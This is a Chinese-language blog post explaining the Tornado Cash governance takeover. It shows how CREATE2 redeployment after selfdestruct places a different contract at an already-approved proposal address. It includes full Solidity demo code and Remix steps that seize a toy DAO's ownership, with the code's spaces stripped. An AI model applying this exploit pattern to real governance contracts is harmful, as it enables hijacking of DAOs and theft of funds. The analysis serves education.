解析Tornado治理攻击:如何同一个地址上部署不同的合约

    大概两周前(5月20日),知名混币协议TornadoCash遭受到治理攻击,黑客获取到了TornadoCash的治理合约的控制权(Owner)。攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案,待提案通过之后,销毁了提案要执行的合约地址,并在该地址上重新创建了一个攻击合约。攻击过程可以查看SharkTeam的Tornado.Cash提案攻击原理分析[1]。这里攻击的关键是在同一个地址上部署了不同的合约,这是如何实现的呢?

    背景知识EVM中有两个操作码用来创建合约:CREATE与CREATE2。CREATE操作码当使用newToken()使用的是CREATE操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(senderAddress,nonce))创建的合约地址是通过创建者地址+创建者Nonce(创建合约的数量)来确定的,由于Nonce总是逐步递增的,当Nonce增加时,创建的合约地址总是是不同的。CREATE2操作码当添加一个salt时newToken{salt:bytes32()}(),则使用的是CREATE2操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(0xFF,senderAddress,salt,bytecode))创建的合约地址是创建者地址+自定义的盐+要部署的智能合约的字节码,因此只有相同字节码和使用相同的盐值,才可以部署到同一个合约地址上。那么如何才能在同一地址如何部署不用的合约?

    攻击手段攻击者结合使用Create2和Create来创建合约,如图:代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/先用Create2部署一个合约Deployer,在Deployer使用Create创建目标合约Proposal(用于提案使用)。Deployer和Proposal合约中均有自毁实现(selfdestruct)。在提案通过后,攻击者把Deployer和Proposal合约销毁,然后重新用相同的slat创建Deployer,Deployer字节码不变,slat也相同,因此会得到一个和之前相同的Deployer合约地址,但此时Deployer合约的状态被清空了,nonce从0开始,因此可以使用该nonce创建另一个合约Attack。攻击代码示例此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address///SPDX-License-Identifier:MITpragmasolidity^0.8.17;contractDAO{  structProposal{    addresstarget;    boolapproved;    boolexecuted;  }  addresspublicowner=msg.sender;  Proposal[]publicproposals;  functionapprove(addresstarget)external{    require(msg.sender==owner,"notauthorized");    proposals.push(Proposal({target:target,approved:true,executed:false}));  }  functionexecute(uint256proposalId)externalpayable{    Proposalstorageproposal=proposals[proposalId];    require(proposal.approved,"notapproved");    require(!proposal.executed,"executed");    proposal.executed=true;    (boolok,)=proposal.target.delegatecall(      abi.encodeWithSignature("executeProposal()")    );    require(ok,"delegatecallfailed");  }}contractProposal{  eventLog(stringmessage);  functionexecuteProposal()external{    emitLog("ExcutedcodeapprovedbyDAO");  }  functionemergencyStop()external{    selfdestruct(payable(address(0)));  }}contractAttack{  eventLog(stringmessage);  addresspublicowner;  functionexecuteProposal()external{    emitLog("ExcutedcodenotapprovedbyDAO:)");    //Forexample-setDAO'sownertoattacker    owner=msg.sender;  }}contractDeployerDeployer{  eventLog(addressaddr);  functiondeploy()external{    bytes32salt=keccak256(abi.encode(uint(123)));    addressaddr=address(newDeployer{salt:salt}());    emitLog(addr);  }}contractDeployer{  eventLog(addressaddr);  functiondeployProposal()external{    addressaddr=address(newProposal());    emitLog(addr);  }  functiondeployAttack()external{    addressaddr=address(newAttack());    emitLog(addr);  }  functionkill()external{    selfdestruct(payable(address(0)));  }}大家可以使用该代码自己在Remix中演练一下。

    首先部署DeployerDeployer,调用DeployerDeployer.deploy()部署Deployer,然后调用Deployer.deployProposal()部署Proposal。拿到Proposal提案合约地址后,向DAO发起提案。分别调用Deployer.kill和Proposal.emergencyStop销毁掉Deployer和Proposal再次调用DeployerDeployer.deploy()部署Deployer,调用Deployer.deployAttack()部署Attack,Attack将和之前的Proposal一致。执行DAO.execute时,攻击完成获取到了DAO的Owner权限。